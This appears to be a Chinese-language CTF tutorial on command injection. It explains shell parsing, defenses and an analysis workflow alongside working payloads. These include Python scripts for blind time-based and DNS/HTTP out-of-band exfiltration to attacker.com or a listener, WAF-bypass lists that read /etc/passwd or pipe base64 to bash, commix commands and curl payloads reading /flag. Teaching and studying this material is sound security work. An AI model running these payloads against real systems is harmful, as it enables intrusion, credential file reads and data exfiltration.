命令注入
命令注入
命令注入发生在应用把用户输入拼进系统命令,并交给操作系统 shell 或命令执行 API 运行。它的关键不是"输入里有特殊字符",而是用户输入改变了原本命令的结构。
命令执行从哪里来
Web 后端有时会调用系统命令处理任务,例如:
ping 一个地址
压缩或解压文件
调用 ImageMagick、ffmpeg、pandoc 等工具
执行备份脚本
检测域名或 IP
生成 PDF如果程序把用户输入直接拼接进去,就可能让攻击者插入额外命令。
shell 和参数数组的区别
危险写法通常是把整条命令当字符串交给 shell:
ping -c 1 用户输入如果 shell 参与解释,分号、管道、换行、反引号、命令替换等字符都可能改变命令结构。
更安全的写法是使用参数数组,把用户输入当成一个普通参数,而不是让 shell 重新解释整条字符串。
理解这个区别,是判断命令注入风险的核心。
常见注入边界
命令注入常见边界包括:
- 命令分隔符。
- 管道。
- 重定向。
- 命令替换。
- 环境变量展开。
- 通配符展开。
- 换行。
不同系统和不同 shell 支持的语法不同。Linux、Windows、BusyBox、PowerShell 的细节都可能不一样。
有回显和无回显
有回显命令注入会把命令输出显示在页面里,判断比较直接。
无回显命令注入不会显示结果,需要通过时间、DNS 外带、HTTP 外带、文件写入、状态码变化等方式确认。
CTF 里常见现象是页面只显示"执行成功"或"检测完成",这不代表没有注入。
命令注入和其他漏洞的关系
SSTI基础 可能通过模板对象访问走到命令执行。
文件上传基础 可能通过上传文件触发后端命令处理。
SSRF基础 可能访问内部接口,间接触发命令执行功能。
命令注入常常是链条的后半段,而不是第一眼看到的漏洞。
防守核心
不要把用户输入拼进命令字符串。
能用语言内置库完成的任务,不调用 shell。
必须调用外部程序时,使用参数数组。
对输入做白名单校验,而不是只过滤几个黑名单字符。
限制运行权限、工作目录、可访问文件和网络能力。
盲注入检测技巧
无回显命令注入需要通过其他方式确认命令是否执行:
import requests
import time
def blind_command_time(target_url, param, command="sleep 5"):
"""基于时间的盲注入"""
payload = f"; {command}"
start = time.time()
resp = requests.get(target_url, params={param: payload}, timeout=10)
elapsed = time.time() - start
if elapsed >= 4:
print(f"[!] 命令执行成功 (耗时 {elapsed:.2f}s)")
return True
else:
print(f"[-] 未检测到执行 (耗时 {elapsed:.2f}s)")
return False
# 时间盲注入 payload
time_payloads = {
"Linux sleep": "; sleep 5",
"Linux ping": "; ping -c 5 127.0.0.1",
"Windows timeout": "& timeout /t 5",
"Windows ping": "& ping -n 5 127.0.0.1",
"反引号": "`sleep 5`",
"命令替换": "$(sleep 5)",
}Out-of-Band (OOB) 数据外带
import requests
def oob_dns_exfil(target_url, param, command, oob_domain):
"""通过 DNS 外带数据"""
# 将命令输出通过 DNS 查询外带
# 命令输出作为子域名查询
payload = f"; {command} | xxd -p | tr -d '\\n' | fold -w 32 | while read line; do nslookup $line.{oob_domain}; done"
requests.get(target_url, params={param: payload}, timeout=10)
print(f"[*] 已发送,请检查 {oob_domain} 的 DNS 查询记录")
def oob_http_exfil(target_url, param, command, listener_url):
"""通过 HTTP 外带数据"""
# 将命令输出通过 HTTP 请求发送到监听服务器
payload = f"; {command} | curl -X POST -d @- {listener_url}"
requests.get(target_url, params={param: payload}, timeout=10)
print(f"[*] 已发送,请检查 {listener_url} 的请求记录")
def oob_collaborator_test(target_url, param):
"""使用 Burp Collaborator 测试 OOB"""
# 在 Burp 中生成 collaborator 地址
collaborator = "xyz.burpcollaborator.net"
payload = f"; nslookup {collaborator}"
requests.get(target_url, params={param: payload}, timeout=10)
print("[*] 已发送,请检查 Burp Collaborator 的交互记录")
# OOB 外带 payload 集合
oob_payloads = {
"DNS外带": "; nslookup `whoami`.attacker.com",
"HTTP外带(curl)": "; curl http://attacker.com/$(whoami)",
"HTTP外带(wget)": "; wget http://attacker.com/$(whoami)",
"DNS带数据": "; ping -c 1 `cat /etc/hostname`.attacker.com",
"HTTP POST": "; curl -X POST -d \"$(id)\" http://attacker.com/",
"DNS TXT": "; nslookup -type=txt `id | base64`.attacker.com",
}WAF 绕过技巧
# 常见 WAF 绕过方法
# 1. 空格绕过
space_bypasses = [
"cat${IFS}/etc/passwd", # ${IFS} 代替空格
"cat$IFS$1/etc/passwd", # $IFS 变量
"cat%09/etc/passwd", # Tab 字符
"cat%0a/etc/passwd", # 换行符
"cat</etc/passwd", # 输入重定向
"{cat,/etc/passwd}", # Bash 花括号展开
"cat$'\x20'/etc/passwd", # Hex 转义
"X=$'\\x20';cat${X}/etc/passwd", # 变量赋值
]
# 2. 关键字绕过
keyword_bypasses = [
"c'a't /etc/passwd", # 单引号分割
"c\"a\"t /etc/passwd", # 双引号分割
"ca$@t /etc/passwd", # 空变量
"ca${x}t /etc/passwd", # 未定义变量
"c\\at /etc/passwd", # 反斜杠
"/bin/ca? /etc/passwd", # 通配符
"/bin/ca[t] /etc/passwd", # 通配符
"a=ca;b=t;${a}${b} /etc/passwd", # 变量拼接
"rev<<<'tac'/etc/passwd", # 命令组合
"echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash", # Base64
]
# 3. 命令分隔符绕过
separator_bypasses = [
"id;whoami", # 分号
"id|whoami", # 管道
"id||whoami", # OR
"id&&whoami", # AND
"id%0awhoami", # 换行
"id%0dwhoami", # 回车
"id%0d%0awhoami", # CRLF
"`id`", # 反引号
"$(id)", # 命令替换
"id>out;cat out", # 输出重定向
]
# 4. 编码绕过
encoding_bypasses = [
"echo${IFS}Y2F0IC9ldGMvcGFzc3dk${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash",
"printf${IFS}'\\x63\\x61\\x74\\x20\\x2f\\x65\\x74\\x63\\x2f\\x70\\x61\\x73\\x73\\x77\\x64'",
"$'\\x63\\x61\\x74'${IFS}/etc/passwd",
]Bash/Shell 高级技巧
# 1. 通配符利用
/bin/ca? /etc/passwd # ? 匹配单个字符
/bin/ca[t] /etc/passwd # [] 匹配字符集
/bin/c* /etc/passwd # * 匹配任意字符
/bin/[c]at /etc/passwd # 字符集单字符
# 2. 变量操作
${IFS} # 内部字段分隔符 (默认空格/Tab/换行)
${PATH:0:1} # 取 PATH 第一个字符 (/)
${HOME:0:1} # 取 HOME 第一个字符 (/)
${SHELL:0:1} # 取 SHELL 第一个字符 (/)
# 3. 算术运算
$((1+1)) # 算术展开
$((97)) # 输出 'a' 的 ASCII
printf $(printf '\\x%x' 97) # ASCII 转字符
# 4. 进程替换
cat <(whoami) # 进程替换
diff /etc/passwd <(cat /etc/passwd)
# 5. Here String
cat <<< "hello" # Here String
bash <<< "echo hello" # 通过 stdin 执行命令
# 6. 反引号和 $() 替换
`id` # 反引号执行
$(id) # $() 执行
$(</etc/passwd) # 读取文件内容
`</etc/passwd` # 反引号读取
# 7. 多行命令
{ id; whoami; } # 花括号分组
(id; whoami) # 子 shell命令注入检测工具
# commix - 自动化命令注入工具
python3 commix.py --url="http://target.com/ping?host=127.0.0.1"
# 带 Cookie 的测试
python3 commix.py --url="http://target.com/ping?host=127.0.0.1" \
--cookie="session=abc123"
# POST 请求测试
python3 commix.py --url="http://target.com/ping" \
--data="host=127.0.0.1"
# 自动获取 shell
python3 commix.py --url="http://target.com/ping?host=127.0.0.1" \
--os-cmd="id"
# 手动使用 curl 测试
curl "http://target.com/ping?host=127.0.0.1;id"
curl "http://target.com/ping?host=127.0.0.1|id"
curl "http://target.com/ping?host=127.0.0.1%0aid"
curl "http://target.com/ping?host=127.0.0.1\$(id)"常见误区
- 只测试分号,不测试换行、管道、命令替换等结构。
- 看到过滤空格就认为安全。
- 只看页面回显,不考虑无回显。
- 不区分 Linux shell、Windows cmd 和 PowerShell。
- 把命令注入和代码注入混为一谈。
一句话判断
用户输入进入 ping、curl、tar、ffmpeg、convert、备份脚本或任何系统命令,并且能改变命令结构、追加命令、替换参数或触发延迟/外带时,就按命令注入分析。
命令注入成立的关键是:输入被 shell 或命令解释器重新解释,而不是作为普通参数传入。
题目中常见信号
- 页面功能是 ping、域名检测、图片处理、压缩下载、PDF 生成、日志查询。
- 输入
127.0.0.1;id、127.0.0.1|id后响应变化。 - 页面无回显,但
sleep 3导致响应变慢。 - 服务器会向外部 DNS/HTTP 地址发请求。
- 报错出现
/bin/sh、cmd.exe、PowerShell、sh: syntax error。 - 过滤了空格、分号、
cat等关键字。 - 题目运行环境是 Linux、Windows、BusyBox 或容器。
核心概念
命令注入要区分三层:
应用参数:host=127.0.0.1
拼接后的命令:ping -c 1 127.0.0.1; id
shell 解释结果:先 ping,再执行 id如果后端使用参数数组,例如 subprocess.run(["ping", "-c", "1", host]) 且没有 shell=True,风险通常小很多。如果使用字符串并交给 shell,分隔符、命令替换、重定向、变量展开都会变成攻击面。
最小分析流程
- 确认功能是否可能调用系统命令。
- 保存正常输入的基线响应。
- 测试最小分隔符:
;、|、&&、||、换行。 - 有回显时先用
id、whoami、pwd验证。 - 无回显时用
sleep或ping做时间验证。 - 不能出网时尝试写文件或改变可见状态。
- 确认系统类型,再选择 Linux/cmd/PowerShell payload。
- 读取目标文件或执行题目要求动作。
最小验证示例
有回显:
curl 'http://target/ping?host=127.0.0.1;id'
curl 'http://target/ping?host=127.0.0.1%0aid'
curl 'http://target/ping?host=127.0.0.1|whoami'无回显时间验证:
time curl -s 'http://target/ping?host=127.0.0.1;sleep%203' -o /dev/null
time curl -s 'http://target/ping?host=127.0.0.1' -o /dev/nullOOB 验证:
curl 'http://target/ping?host=127.0.0.1;nslookup%20test.attacker.com'收到 DNS 查询才说明命令执行到了网络请求。
常见利用 / 解题路线
路线总览:
路线一:有回显直接执行
分隔符验证 -> id/whoami -> ls -> cat flag路线二:时间盲注
sleep/ping 延迟 -> 条件判断 -> 逐步确认命令执行路线三:DNS/HTTP 外带
nslookup/curl/wget -> 外带 whoami/id/flag 分片路线四:写文件再访问
适合无回显但 Web 目录可写。
echo marker > /var/www/html/poc.txt -> 浏览器访问 poc.txt路线五:过滤绕过
空格被过滤 -> ${IFS}/Tab/重定向
关键字被过滤 -> 引号拆分/变量拼接/通配符/base64
分号被过滤 -> 换行/&&/||/管道/命令替换常见失败原因
- 系统类型判断错:Linux payload 不能直接用于 Windows cmd 或 PowerShell。
- 命令无回显:页面没有输出不代表没执行,要用时间或外带验证。
- URL 编码缺失:
;、空格、&、|在 URL 中可能被浏览器或 shell 提前处理。 - 过滤点没定位:不知道是前端、后端、WAF 还是 shell 报错。
- 命令被追加到参数内部:有些输入被引号包住,需要先闭合引号。
- 出网被禁:DNS/HTTP 外带失败时换时间或写文件验证。
- 权限不足:能执行命令不等于能读所有文件。
迷你案例
题目功能:
/ping?host=127.0.0.1页面显示 ping 结果。测试:
curl 'http://target/ping?host=127.0.0.1;id'响应中出现:
uid=33(www-data) gid=33(www-data)说明输入改变了命令结构。读取 flag:
curl 'http://target/ping?host=127.0.0.1;cat%20/flag'如果空格被过滤:
curl 'http://target/ping?host=127.0.0.1;cat${IFS}/flag'WP 要写清楚:
正常命令推测为 ping -c 1 <host>
分号追加 id 后有回显
${IFS} 绕过空格过滤
最终读取 /flag